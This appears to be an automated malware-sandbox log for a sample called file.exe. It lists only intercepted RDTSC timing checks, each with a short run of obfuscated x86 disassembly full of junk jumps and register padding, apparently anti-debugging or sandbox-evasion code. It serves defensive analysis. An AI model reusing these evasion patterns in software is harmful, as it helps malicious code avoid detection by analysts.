Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58107D9 second address: 5810046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F4F78C44E2Ch 0x00000014 and cx, 4248h 0x00000019 jmp 00007F4F78C44E2Bh 0x0000001e popfd 0x0000001f mov eax, 0DE3A5BFh 0x00000024 popad 0x00000025 je 00007F4FE9EF2C64h 0x0000002b xor eax, eax 0x0000002d jmp 00007F4F78C1E55Ah 0x00000032 pop esi 0x00000033 pop edi 0x00000034 pop ebx 0x00000035 leave 0x00000036 retn 0004h 0x00000039 nop 0x0000003a sub esp, 04h 0x0000003d mov edi, eax 0x0000003f jmp 00007F4F78C44E22h 0x00000041 cmp edi, 00000000h 0x00000044 setne al 0x00000047 xor ebx, ebx 0x00000049 test al, 01h 0x0000004b jne 00007F4F78C44E27h 0x0000004d jmp 00007F4F78C44F58h 0x00000052 call 00007F4F7D4964F2h 0x00000057 mov edi, edi 0x00000059 pushad 0x0000005a mov bh, al 0x0000005c pushfd 0x0000005d jmp 00007F4F78C44E33h 0x00000062 jmp 00007F4F78C44E33h 0x00000067 popfd 0x00000068 popad 0x00000069 xchg eax, ebp 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F4F78C44E35h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810046 second address: 58100FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4F78FA0E07h 0x00000009 add ecx, 0D26ADBEh 0x0000000f jmp 00007F4F78FA0E09h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007F4F78FA0DFDh 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 mov al, 1Ch 0x00000022 mov si, di 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 pushad 0x0000002a jmp 00007F4F78FA0DFAh 0x0000002f popad 0x00000030 pushad 0x00000031 push eax 0x00000032 pop edi 0x00000033 popad 0x00000034 popad 0x00000035 xchg eax, ecx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F4F78FA0E04h 0x0000003d sbb eax, 13015B78h 0x00000043 jmp 00007F4F78FA0DFBh 0x00000048 popfd 0x00000049 pushad 0x0000004a mov ebx, esi 0x0000004c popad 0x0000004d popad 0x0000004e push eax 0x0000004f jmp 00007F4F78FA0DFEh 0x00000054 xchg eax, ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F4F78FA0DFAh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58100FA second address: 5810109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810109 second address: 5810121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78FA0E04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810121 second address: 5810125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810156 second address: 581016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0E01h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581016C second address: 581017C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78C44E2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810D2C second address: 5810DB3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4F78FA0E03h 0x00000011 adc eax, 06EF05EEh 0x00000017 jmp 00007F4F78FA0E09h 0x0000001c popfd 0x0000001d mov ecx, 3F5A0577h 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 mov bh, ah 0x00000028 pushfd 0x00000029 jmp 00007F4F78FA0E05h 0x0000002e add ah, FFFFFFD6h 0x00000031 jmp 00007F4F78FA0E01h 0x00000036 popfd 0x00000037 popad 0x00000038 cmp dword ptr [76B1459Ch], 05h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 mov cx, di 0x00000045 movsx ebx, si 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810DB3 second address: 5810DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4F78C44E33h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F4FE9EE2A58h 0x00000012 pushad 0x00000013 mov si, dx 0x00000016 call 00007F4F78C44E31h 0x0000001b mov ebx, esi 0x0000001d pop ecx 0x0000001e popad 0x0000001f pop ebp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4F78C44E2Fh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810E5D second address: 5810E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810E63 second address: 5810E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810E67 second address: 5810E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 33985619h 0x0000000f jmp 00007F4F78FA0E09h 0x00000014 call 00007F4FEA245AD9h 0x00000019 push 76AB2B70h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [76B14538h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810E9A second address: 5810E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810E9E second address: 5810EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810EA2 second address: 5810EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810F0E second address: 5810F5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F4FEA234863h 0x00000010 pushad 0x00000011 movzx esi, bx 0x00000014 pushfd 0x00000015 jmp 00007F4F78FA0DFBh 0x0000001a sub esi, 44DCE71Eh 0x00000020 jmp 00007F4F78FA0E09h 0x00000025 popfd 0x00000026 popad 0x00000027 cmp dword ptr [ebp+08h], 00002000h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810F5D second address: 5810F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820A37 second address: 5820A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820A3D second address: 5820AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov di, B5E0h 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushfd 0x00000014 jmp 00007F4F78C44E30h 0x00000019 sbb ax, F828h 0x0000001e jmp 00007F4F78C44E2Bh 0x00000023 popfd 0x00000024 pop esi 0x00000025 jmp 00007F4F78C44E39h 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov cl, dl 0x00000032 movzx eax, dx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820AA1 second address: 5820B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 3A77E793h 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4F78FA0E00h 0x00000015 sub eax, 13958018h 0x0000001b jmp 00007F4F78FA0DFBh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F4F78FA0E08h 0x00000027 or esi, 7CD2EA78h 0x0000002d jmp 00007F4F78FA0DFBh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F4F78FA0DFFh 0x0000003c and si, EA3Eh 0x00000041 jmp 00007F4F78FA0E09h 0x00000046 popfd 0x00000047 call 00007F4F78FA0E00h 0x0000004c mov esi, 24827B11h 0x00000051 pop esi 0x00000052 popad 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820B4E second address: 5820B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820B64 second address: 5820B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov di, B3B0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820B79 second address: 5820B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820B7F second address: 5820BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F78FA0E05h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820BAF second address: 5820BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4FE9ED2619h 0x0000000f jmp 00007F4F78C44E2Eh 0x00000014 cmp dword ptr [76B1459Ch], 05h 0x0000001b jmp 00007F4F78C44E30h 0x00000020 je 00007F4FE9EEA6CEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b movsx edi, ax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820CC5 second address: 5820CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820CC9 second address: 5820CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820CCD second address: 5820CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820CD3 second address: 5820D10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 pushfd 0x00000006 jmp 00007F4F78C44E2Eh 0x0000000b jmp 00007F4F78C44E35h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4F78C44E2Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820D28 second address: 5820D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop ecx 0x00000010 call 00007F4F78FA0DFFh 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE0E1 second address: 69AE0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE0E5 second address: 69AD965 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78FA0DFCh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 mov dword ptr [ebp+122D1FB5h], ecx 0x00000016 movzx esi, si 0x00000019 popad 0x0000001a push dword ptr [ebp+122D1061h] 0x00000020 mov dword ptr [ebp+122D23B0h], edx 0x00000026 call dword ptr [ebp+122D3750h] 0x0000002c pushad 0x0000002d cmc 0x0000002e xor eax, eax 0x00000030 or dword ptr [ebp+122D1DEFh], ebx 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a add dword ptr [ebp+122D1DEFh], eax 0x00000040 jmp 00007F4F78FA0E08h 0x00000045 mov dword ptr [ebp+122D2ACCh], eax 0x0000004b mov dword ptr [ebp+122D1DEFh], edx 0x00000051 mov esi, 0000003Ch 0x00000056 mov dword ptr [ebp+122D1DEFh], edi 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D266Ch], ecx 0x00000066 lodsw 0x00000068 clc 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d pushad 0x0000006e add bx, C878h 0x00000073 popad 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 clc 0x00000079 mov dword ptr [ebp+122D266Ch], ecx 0x0000007f nop 0x00000080 push ebx 0x00000081 jc 00007F4F78FA0E01h 0x00000087 jmp 00007F4F78FA0DFBh 0x0000008c pop ebx 0x0000008d push eax 0x0000008e pushad 0x0000008f jmp 00007F4F78FA0E02h 0x00000094 push eax 0x00000095 push edx 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AD965 second address: 69AD969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17BC4 second address: 6B17BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17BD1 second address: 6B17BE6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F78C44E26h 0x00000008 jne 00007F4F78C44E26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17BE6 second address: 6B17BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17BEC second address: 6B17BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B245CC second address: 6B245F1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007F4F78FA0DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4F78FA0E05h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B245F1 second address: 6B245F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2477C second address: 6B24780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B24780 second address: 6B24784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B24A3D second address: 6B24A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4F78FA0DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B24A47 second address: 6B24A51 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4F78C44E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28720 second address: 6B28724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28724 second address: 6B28742 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F4F78C44E2Dh 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28850 second address: 6B2887B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D3293h], edx 0x0000000c push 00000000h 0x0000000e mov ecx, eax 0x00000010 push C7EFCD8Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4F78FA0E04h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2887B second address: 6B28880 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28880 second address: 6B28909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 381032F4h 0x0000000e mov dword ptr [ebp+122D1CF5h], esi 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F4F78FA0DF8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 sub edi, 6D87CC7Ah 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D227Fh], esi 0x0000003e push 00000003h 0x00000040 movzx esi, bx 0x00000043 call 00007F4F78FA0DF9h 0x00000048 jne 00007F4F78FA0E0Bh 0x0000004e push eax 0x0000004f pushad 0x00000050 push esi 0x00000051 pushad 0x00000052 popad 0x00000053 pop esi 0x00000054 push edi 0x00000055 push edi 0x00000056 pop edi 0x00000057 pop edi 0x00000058 popad 0x00000059 mov eax, dword ptr [esp+04h] 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F4F78FA0DFFh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28909 second address: 6B28910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28910 second address: 6B28933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a pushad 0x0000000b jmp 00007F4F78FA0E06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28933 second address: 6B2898D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b js 00007F4F78C44E2Ch 0x00000011 jne 00007F4F78C44E28h 0x00000017 popad 0x00000018 pop eax 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F4F78C44E28h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D274Eh], eax 0x00000039 movsx edx, si 0x0000003c lea ebx, dword ptr [ebp+1244E555h] 0x00000042 mov cx, ax 0x00000045 xchg eax, ebx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28A82 second address: 6B28A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28A86 second address: 6B28A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28A8A second address: 6B28ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F4F78FA0DF8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push ecx 0x00000023 or dx, 26EAh 0x00000028 pop edi 0x00000029 mov dword ptr [ebp+122D292Dh], edi 0x0000002f push 00000000h 0x00000031 mov edi, 2B36AE77h 0x00000036 jng 00007F4F78FA0DF9h 0x0000003c movzx esi, di 0x0000003f call 00007F4F78FA0DF9h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28ADF second address: 6B28AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28AE6 second address: 6B28B08 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4F78FA0DF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F4F78FA0DFBh 0x00000015 jns 00007F4F78FA0DF6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28B08 second address: 6B28B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007F4F78C44E33h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28B36 second address: 6B28B64 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4F78FA0E09h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jne 00007F4F78FA0DF8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28B64 second address: 6B28B77 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B28B77 second address: 6B28B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B395AD second address: 6B395B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B490BD second address: 6B490C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B490C3 second address: 6B490D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F4F78C44E26h 0x0000000f pop ebx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B11004 second address: 6B1101B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E03h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
